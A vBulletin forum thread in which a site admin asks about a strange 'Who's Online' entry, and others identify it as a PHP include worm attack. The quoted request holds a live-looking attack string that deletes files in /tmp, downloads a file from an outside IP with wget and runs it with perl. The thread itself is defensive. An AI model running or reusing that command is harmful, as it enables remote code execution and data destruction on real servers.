Announcement

Collapse
No announcement yet.

Who's Online Showing Something Weird -- should I be concerned?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Who's Online Showing Something Weird -- should I be concerned?

    On my who's online page I see this:

    Guest
    Viewing User Control Panel
    the stop sign icon (rollover says: viewing no permission message)
    the question mark icon (rollover says: /usercp.php?s=http://69.72.226.122/~demo/.zk/php.gif?&cmd=cd%20/tmp;%20rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5)

    Is this something I should be worried about?

  • #2
    I'm not sure what that link is or what's viewing it (at first I thought spider, but now it looks like a hacking attempt), but I wouldn't be too worried, seeing as how they're only getting the no permissions message. In either case, I would reccomend changing your password and those of your staff to something a bit harder.

    MGM out

    Comment


    • #3
      Thanks MGM... I also did a whois on the IP address and it traced out to a private residence (bizarro).

      I'll definitely follow your advice.

      Comment


      • #4
        It is the new PHPInclude.worm. As long as you are using PHP 4.3.10 and vBulletin 3.0.3, you shouldn't have anything to worry about.
        Translations provided by Google.

        Wayne Luke
        The Rabid Badger - a vBulletin Cloud demonstration site.
        vBulletin 5 API - Full / Mobile
        Vote for your favorite feature requests and the bugs you want to see fixed.

        Comment

        Loading...
        Working...
        X